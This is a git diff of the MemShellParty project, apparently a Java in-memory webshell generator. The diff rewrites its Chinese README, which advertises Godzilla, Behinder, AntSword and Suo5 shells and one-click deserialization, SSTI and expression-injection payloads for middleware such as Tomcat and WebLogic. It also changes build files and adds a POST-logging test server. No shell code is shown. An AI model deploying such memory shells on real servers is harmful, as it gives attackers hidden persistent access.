LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
COPY --from=backend /usr/src/boot/build/libs/*.jar app.jar
|
|
||||||
|
|
||||||
RUN groupadd -r spring && \
|
RUN groupadd -r spring && \
|
||||||
useradd -r -g spring spring && \
|
useradd -r -g spring spring
|
||||||
chown spring:spring /app/app.jar
|
|
||||||
|
COPY --from=backend --chown=spring:spring /usr/src/boot/build/libs/*.jar app.jar
|
||||||
|
|
||||||
USER spring:spring
|
USER spring:spring
|
||||||
|
|
||||||
|
|||||||
@@ -1,63 +1,65 @@
|
|||||||
# MemShellParty
|
<h1 align="center">MemShellParty</h1>
|
||||||
|
|
||||||
|
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
|
||||||
|
|
||||||
|
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
|
||||||
[](https://github.com/ReaJason/MemShellParty/releases)
|
[](https://github.com/ReaJason/MemShellParty/releases)
|
||||||
|
[](https://central.sonatype.com/artifact/io.github.reajason/generator)
|
||||||
[](https://hub.docker.com/r/reajason/memshell-party)
|
[](https://hub.docker.com/r/reajason/memshell-party)
|
||||||
|
</div>
|
||||||
|
<div align="center">
|
||||||
|
|
||||||
[](https://t.me/memshell)
|
[](https://t.me/memshell)
|
||||||
[](https://party.memshell.news)
|
[](https://party.memshell.news)
|
||||||
|
</div>
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
|
> 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法,使用者需自行承担相应的法律责任。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
||||||
> 交流群,欢迎一起学习交流
|
> 交流群,欢迎一起学习交流。
|
||||||
|
|
||||||
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。
|
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||||
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
|
|
||||||
|
|
||||||
MemShellParty 出现的原因有以下几个:
|
<p align="center">
|
||||||
|
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||||
1. 工作中有时候客户会有个别中间件的内存马测试需求,这个时候临时写一个太慢又太烦,在不忙的时候做一个工具,有需求就生成一个多好(之前用
|
<img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||||
Java Memshell Generator 生成一个 WAS 的内存马不能用,调了半天修好了)。
|
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||||
2. 写 [Javassist](https://www.javassist.org/) 实在是太多了,字符串拼接的方式去弄方法 code
|
<img src="asserts/about_page.png" alt="about_page" width="24%">
|
||||||
实在是看得眼睛疼,又不好维护,代码组织合理的话其实都可以,不过做项目我还是推荐 [Byte Buddy](https://bytebuddy.net/)
|
</p>
|
||||||
,高封装提供的 API 很好用的。单个利用脚本的话确实 [Javassist](https://www.javassist.org/) 来得快,而且很多中间件也自带依赖直接能打。
|
|
||||||
3. [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
|
|
||||||
的出现确实帮大忙了,但是其极少的交互逻辑对于一个应用来说是难以接受的,刚好学习了前端对 UX 也感兴趣(对 Desktop
|
|
||||||
应用无感),必须得整一个玩玩。
|
|
||||||
4. 因为对自动化测试特别感兴趣,刚好找到了 [Testcontainers](https://testcontainers.com/)
|
|
||||||
,并且看了一圈武器化工具基本都是无测试的,所以尝试写写可行的集成测试分享分享,被测试包裹的代码,修改起来信心也大,同时也希望这个项目能长久发展。
|
|
||||||
5. 特别多的师傅写了 Java 内存马相关的项目,不过都慢慢就不维护了(或者不公开代码了),我举手来整合一下,嘿嘿。
|
|
||||||
|
|
||||||
希望你能从这个项目学会或尝试做的:
|
|
||||||
|
|
||||||
1. 学会编写常见中间件框架的内存马编写方式。
|
|
||||||
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
|
|
||||||
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
|
|
||||||
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
|
|
||||||
5. 尝试使用 Gradle 构建 Java 项目(platform 编写依赖版本管理,toolchain 可以在根项目设置 JDK17 环境下也能完成 JDK6 源代码的编译)
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
## 主要特性
|
## 主要特性
|
||||||
|
|
||||||
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
- **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
||||||
- 高可用性: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
- **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。
|
||||||
- 最小化: 尽可能精简内存马大小,高效传输。
|
- **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性。
|
||||||
- 强兼容性: 覆盖攻防场景下常见中间件和框架。
|
- **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了
|
||||||
|
**30%**,Agent 内存马采用 ASM 技术缩小了 **80%**。
|
||||||
|
- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
|
||||||
|
模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
|
||||||
|
- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入
|
||||||
|
MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。
|
||||||
|
|
||||||
## 快速使用
|
## 快速使用
|
||||||
|
|
||||||
|
### 使用前必看
|
||||||
|
|
||||||
|
[Java 服务简介.md](./docs/ServerIntro.md),用于了解 MemShellParty
|
||||||
|
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
||||||
|
|
||||||
|
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
||||||
|
GlassFish,因为它使用的是 GlassFish 进行的二开)。
|
||||||
|
|
||||||
### 在线站点
|
### 在线站点
|
||||||
|
|
||||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||||
|
|
||||||
可直接访问 https://party.memshell.news (搭建在 [Northflank](https://northflank.com/) US
|
可访问(master 分支) [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
|
||||||
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)),每次 Release 都会自动部署最新的镜像。
|
|
||||||
|
对于正在开发的功能可访问(dev 分支) [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。
|
||||||
|
|
||||||
### 本地部署(推荐)
|
### 本地部署(推荐)
|
||||||
|
|
||||||
@@ -86,200 +88,17 @@ docker rm -f memshell-party
|
|||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
### 本地构建
|
## User Guide
|
||||||
|
|
||||||
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
|
1. [适配情况](./docs/Compatibility.md)
|
||||||
|
2. [本地构建](./docs/BuildOnLocal.md)
|
||||||
|
3. [SDK 集成](./examples/memshell-party-maven-example)
|
||||||
|
4. [代码贡献](./CONTRIBUTING.md)
|
||||||
|
|
||||||
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
## Special Thanks
|
||||||
|
|
||||||
1. 使用 Git Clone 项目
|
|
||||||
```bash
|
|
||||||
git clone https://github.com/ReaJason/MemShellParty.git
|
|
||||||
```
|
|
||||||
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/web
|
|
||||||
|
|
||||||
bun install
|
|
||||||
|
|
||||||
bun run build
|
|
||||||
```
|
|
||||||
3. 构建后端项目,确保使用 JDK17 环境
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
./gradlew :boot:bootjar -x test
|
|
||||||
```
|
|
||||||
|
|
||||||
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
java -jar \
|
|
||||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
|
||||||
build/libs/boot-1.0.0.jar
|
|
||||||
```
|
|
||||||
|
|
||||||
也可这基础上再继续构建容器来使用
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
docker buildx build -t memshell-party:latest . --load
|
|
||||||
|
|
||||||
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
### Dockerfile 一键构建
|
|
||||||
|
|
||||||
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
|
||||||
|
|
||||||
下载项目根目录的 [Dockerfile](./Dockerfile)
|
|
||||||
|
|
||||||
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
|
|
||||||
- ROUTE_ROOT_PATH: 前端根路由配置
|
|
||||||
- CONTEXT_PATH: 后端访问前缀
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 基础构建
|
|
||||||
docker buildx build \
|
|
||||||
--build-arg VERSION=1.3.1 \
|
|
||||||
-t memshell-party:latest . --load
|
|
||||||
|
|
||||||
# 基础镜像启动,访问 127.0.0.1:8080
|
|
||||||
docker run -it -d -p 8080:8080 memshell-party:latest
|
|
||||||
|
|
||||||
# 自定义访问路径构建
|
|
||||||
docker buildx build \
|
|
||||||
--build-arg VERSION=1.3.1 \
|
|
||||||
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
|
||||||
--build-arg CONTEXT_PATH=/memshell-party \
|
|
||||||
-t memshell-party:latest . --load
|
|
||||||
|
|
||||||
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
|
|
||||||
docker run -it -p 8080:8080 \
|
|
||||||
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
|
||||||
memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
|
|
||||||
|
|
||||||
其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和
|
|
||||||
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
|
|
||||||
|
|
||||||
```text
|
|
||||||
location /memshell-party {
|
|
||||||
proxy_pass http://127.0.0.1:8080;
|
|
||||||
proxy_set_header Host $http_host;
|
|
||||||
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
|
||||||
proxy_set_header X-Forwarded-For $remote_addr;
|
|
||||||
proxy_http_version 1.1;
|
|
||||||
proxy_connect_timeout 3s;
|
|
||||||
proxy_read_timeout 300s;
|
|
||||||
proxy_send_timeout 300s;
|
|
||||||
proxy_buffer_size 16k;
|
|
||||||
proxy_buffers 8 64k;
|
|
||||||
proxy_busy_buffers_size 128k;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
## 适配情况
|
|
||||||
|
|
||||||
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
|
||||||
|
|
||||||
### 中间件以及框架
|
|
||||||
|
|
||||||
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
|
||||||
|----------------------|------------------------|----------------------|----------------------|
|
|
||||||
| Servlet | Servlet | Filter | Filter |
|
|
||||||
| Filter | Filter | Listener | Listener |
|
|
||||||
| Listener | Listener | Valve | Valve |
|
|
||||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
|
||||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
|
||||||
| ContextValve - Agent | | | |
|
|
||||||
|
|
||||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
|
||||||
|---------------------|--------------------------|-----------------|--------------|
|
|
||||||
| Servlet | Interceptor | WebFilter | NettyHandler |
|
|
||||||
| Filter | ControllerHandler | HandlerMethod | |
|
|
||||||
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
|
||||||
| FilterChain - Agent | | NettyHandler | |
|
|
||||||
|
|
||||||
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
|
||||||
|----------------------|----------------------------|------------------------|------------------------|
|
|
||||||
| Filter | Filter | Servlet | Servlet |
|
|
||||||
| Listener | Listener | Filter | Filter |
|
|
||||||
| Valve | Valve(6) | Listener | Listener |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
|
||||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
|
||||||
| | ServletHandler - Agent (7) | | |
|
|
||||||
|
|
||||||
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
|
||||||
|-----------------------|-------------------------|
|
|
||||||
| Servlet | Servlet |
|
|
||||||
| Filter | Filter |
|
|
||||||
| Listener | Listener |
|
|
||||||
| FilterManager - Agent | ServletContext - Agent |
|
|
||||||
|
|
||||||
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) |
|
|
||||||
|----------------------|----------------------|------------------------|---------------|
|
|
||||||
| Filter | Filter | Filter | Servlet |
|
|
||||||
| Listener | Listener | Listener | Filter |
|
|
||||||
| Valve | Valve | Valve | Listener |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | |
|
|
||||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | |
|
|
||||||
|
|
||||||
### 内存马功能
|
|
||||||
|
|
||||||
- [x] Godzilla 哥斯拉
|
|
||||||
- [x] Behinder 冰蝎
|
|
||||||
- [x] 命令执行
|
|
||||||
- [x] Suo5
|
|
||||||
- [x] AntSword 蚁剑
|
|
||||||
- [ ] Neo-reGeorg
|
|
||||||
- [ ] Custom
|
|
||||||
|
|
||||||
### 封装方式
|
|
||||||
|
|
||||||
- [x] BASE64
|
|
||||||
- [x] GZIP BASE64
|
|
||||||
- [x] JSP
|
|
||||||
- [x] JSPX
|
|
||||||
- [x] JAR
|
|
||||||
- [x] BCEL
|
|
||||||
- [x] 内置脚本引擎、Rhino 脚本引擎
|
|
||||||
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
|
||||||
- [x] Velocity、Freemarker、JinJava
|
|
||||||
- [x] 原生反序列化(CB4)
|
|
||||||
- [x] Agent
|
|
||||||
- [x] XXL-JOB Executor
|
|
||||||
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
|
||||||
- [ ] JNDI
|
|
||||||
- [ ] JDBC 连接
|
|
||||||
- [ ] 其他常见反序列化
|
|
||||||
|
|
||||||
## How
|
|
||||||
|
|
||||||
1. 如何使用 bytebuddy 生成类,为属性赋值,添加方法,指定位置调用方法?(**WIP**)
|
|
||||||
2. 如何调试内存马,为什么内存马注入了却不可用?(**WIP**)
|
|
||||||
|
|
||||||
## Contribute
|
|
||||||
|
|
||||||
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
|
||||||
|
|
||||||
> It will be so nice if you want to contribute. 🎉
|
|
||||||
|
|
||||||
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
|
||||||
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
|
||||||
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
|
||||||
|
|
||||||
项目结构目录、构建和编译可参考 [CONTRIBUTING.md](CONTRIBUTING.md)。
|
|
||||||
|
|
||||||
## Thanks
|
|
||||||
|
|
||||||
|
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||||
|
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
||||||
|
|
||||||
### Let's start the party 🎉
|
### Let's start the party 🎉
|
||||||
|
|||||||
|
After Width: | Height: | Size: 92 KiB |
|
Before Width: | Height: | Size: 60 KiB |
|
After Width: | Height: | Size: 136 KiB |
|
After Width: | Height: | Size: 236 KiB |
@@ -0,0 +1,35 @@
|
|||||||
|
import http.server
|
||||||
|
import socketserver
|
||||||
|
|
||||||
|
PORT = 8000
|
||||||
|
TARGET_PATH = "/api/v1/data"
|
||||||
|
|
||||||
|
|
||||||
|
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||||
|
def do_POST(self):
|
||||||
|
if self.path == TARGET_PATH:
|
||||||
|
try:
|
||||||
|
content_length = int(self.headers['Content-Length'])
|
||||||
|
post_data_bytes = self.rfile.read(content_length)
|
||||||
|
post_data_str = post_data_bytes.decode('utf-8')
|
||||||
|
print("-----------------------------\n")
|
||||||
|
print(f"Client IP: {self.client_address}")
|
||||||
|
print(f"Request Header:\n{self.headers}")
|
||||||
|
print(f"Request Body:\n{post_data_str}")
|
||||||
|
print("-----------------------------\n")
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header('Content-type', 'application/json')
|
||||||
|
self.end_headers()
|
||||||
|
response_message = '{"status": "success"}'
|
||||||
|
self.wfile.write(response_message.encode('utf-8'))
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Parse POST failed: {e}")
|
||||||
|
self.send_response(500)
|
||||||
|
else:
|
||||||
|
print("Make sure use " + TARGET_PATH + " rather than " + self.path)
|
||||||
|
self.send_response(404)
|
||||||
|
|
||||||
|
|
||||||
|
with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
|
||||||
|
print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ")
|
||||||
|
httpd.serve_forever()
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
import http from 'k6/http';
|
||||||
|
import {check, sleep} from 'k6';
|
||||||
|
|
||||||
|
export const options = {
|
||||||
|
rps: 4500,
|
||||||
|
vus: 10,
|
||||||
|
duration: '5m',
|
||||||
|
};
|
||||||
|
|
||||||
|
export default function () {
|
||||||
|
const res = http.get('http://localhost:8082/app/test');
|
||||||
|
check(res, {
|
||||||
|
'status is 200': (r) => r.status === 200,
|
||||||
|
});
|
||||||
|
sleep(1);
|
||||||
|
}
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
FROM python:3.12-slim
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
RUN pip install requests
|
||||||
|
|
||||||
|
COPY neoreg.py .
|
||||||
|
|
||||||
|
CMD ["tail", "-f", "/dev/null"]
|
||||||
|
Before Width: | Height: | Size: 131 KiB |
|
After Width: | Height: | Size: 268 KiB |
@@ -1,37 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id 'java-platform'
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
constraints {
|
|
||||||
api 'net.bytebuddy:byte-buddy:1.+'
|
|
||||||
|
|
||||||
api 'javax.servlet:javax.servlet-api:3.0.1'
|
|
||||||
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
|
||||||
api 'javax.websocket:javax.websocket-api:1.1'
|
|
||||||
|
|
||||||
api 'org.springframework:spring-webmvc:5.3.24'
|
|
||||||
api 'org.springframework:spring-webflux:5.3.24'
|
|
||||||
api 'io.projectreactor.netty:reactor-netty-core:1.1.25'
|
|
||||||
|
|
||||||
api 'commons-io:commons-io:2.+'
|
|
||||||
api 'org.apache.commons:commons-lang3:3.+'
|
|
||||||
api 'commons-codec:commons-codec:1.+'
|
|
||||||
api 'ch.qos.logback:logback-classic:1.+'
|
|
||||||
|
|
||||||
api 'xalan:xalan:2.7.0'
|
|
||||||
api 'org.apache.bcel:bcel:5.2'
|
|
||||||
|
|
||||||
api 'org.java-websocket:Java-WebSocket:1.5.7'
|
|
||||||
api 'com.squareup.okhttp3:okhttp:4.+'
|
|
||||||
api 'com.alibaba.fastjson2:fastjson2:2.0.53'
|
|
||||||
|
|
||||||
api 'org.jetbrains:annotations:26.0.1'
|
|
||||||
|
|
||||||
api "org.mockito:mockito-core:5.15.2"
|
|
||||||
api 'org.hamcrest:hamcrest:3.0'
|
|
||||||
api 'org.junit:junit-bom:5.11.4'
|
|
||||||
api 'org.testcontainers:testcontainers:1.20.5'
|
|
||||||
api 'org.testcontainers:junit-jupiter:1.20.5'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -4,11 +4,10 @@ LABEL authors="ReaJason<[email protected]>"
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
COPY build/libs/*.jar app.jar
|
|
||||||
|
|
||||||
RUN groupadd -r spring && \
|
RUN groupadd -r spring && \
|
||||||
useradd -r -g spring spring && \
|
useradd -r -g spring spring
|
||||||
chown spring:spring /app/app.jar
|
|
||||||
|
COPY --chown=spring:spring build/libs/*.jar app.jar
|
||||||
|
|
||||||
USER spring:spring
|
USER spring:spring
|
||||||
|
|
||||||
|
|||||||
@@ -1,62 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id 'java'
|
|
||||||
id 'org.springframework.boot' version '3.4.0'
|
|
||||||
id 'io.spring.dependency-management' version '1.1.6'
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
def runtimeJvmArgs = [
|
|
||||||
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
|
||||||
]
|
|
||||||
|
|
||||||
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
|
||||||
|
|
||||||
tasks.withType(Test).configureEach {
|
|
||||||
jvmArgs += runtimeJvmArgs
|
|
||||||
}
|
|
||||||
|
|
||||||
// For running the application
|
|
||||||
tasks.withType(JavaExec).configureEach {
|
|
||||||
jvmArgs += runtimeJvmArgs
|
|
||||||
}
|
|
||||||
|
|
||||||
configurations {
|
|
||||||
compileOnly {
|
|
||||||
extendsFrom annotationProcessor
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation(project(":generator")) {
|
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
|
|
||||||
exclude group: 'commons-logging', module: 'commons-logging'
|
|
||||||
}
|
|
||||||
implementation(project(":deserialize")) {
|
|
||||||
exclude group: 'commons-logging', module: 'commons-logging'
|
|
||||||
}
|
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
|
|
||||||
implementation('org.springframework.boot:spring-boot-starter-web') {
|
|
||||||
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
|
||||||
}
|
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
|
||||||
compileOnly 'org.projectlombok:lombok'
|
|
||||||
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
|
||||||
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
|
|
||||||
annotationProcessor 'org.projectlombok:lombok'
|
|
||||||
testImplementation 'org.springframework.boot:spring-boot-starter-test'
|
|
||||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("org.springframework.boot") version "3.5.7"
|
||||||
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
||||||
|
|
||||||
|
configurations {
|
||||||
|
compileOnly {
|
||||||
|
extendsFrom(configurations.annotationProcessor.get())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation(project(":generator")) {
|
||||||
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
|
}
|
||||||
|
implementation(project(":packer")) {
|
||||||
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
|
}
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-web") {
|
||||||
|
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
||||||
|
}
|
||||||
|
implementation(libs.commons.lang3)
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-jetty")
|
||||||
|
compileOnly("org.projectlombok:lombok")
|
||||||
|
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||||
|
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||||
|
annotationProcessor("org.projectlombok:lombok")
|
||||||
|
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
||||||
|
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.boot;
|
package com.reajason.javaweb.boot;
|
||||||
|
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.boot.SpringApplication;
|
import org.springframework.boot.SpringApplication;
|
||||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
@@ -7,11 +8,10 @@ import org.springframework.boot.autoconfigure.SpringBootApplication;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
@SpringBootApplication
|
@SpringBootApplication
|
||||||
|
@Slf4j
|
||||||
public class BootApplication {
|
public class BootApplication {
|
||||||
|
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
|
|
||||||
SpringApplication.run(BootApplication.class, args);
|
SpringApplication.run(BootApplication.class, args);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -1,10 +1,13 @@
|
|||||||
package com.reajason.javaweb.boot.api;
|
package com.reajason.javaweb.boot.api;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.bind.annotation.ExceptionHandler;
|
import org.springframework.web.bind.annotation.ExceptionHandler;
|
||||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||||
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
||||||
|
import org.springframework.web.servlet.resource.NoResourceFoundException;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -13,10 +16,23 @@ import org.springframework.web.bind.annotation.RestControllerAdvice;
|
|||||||
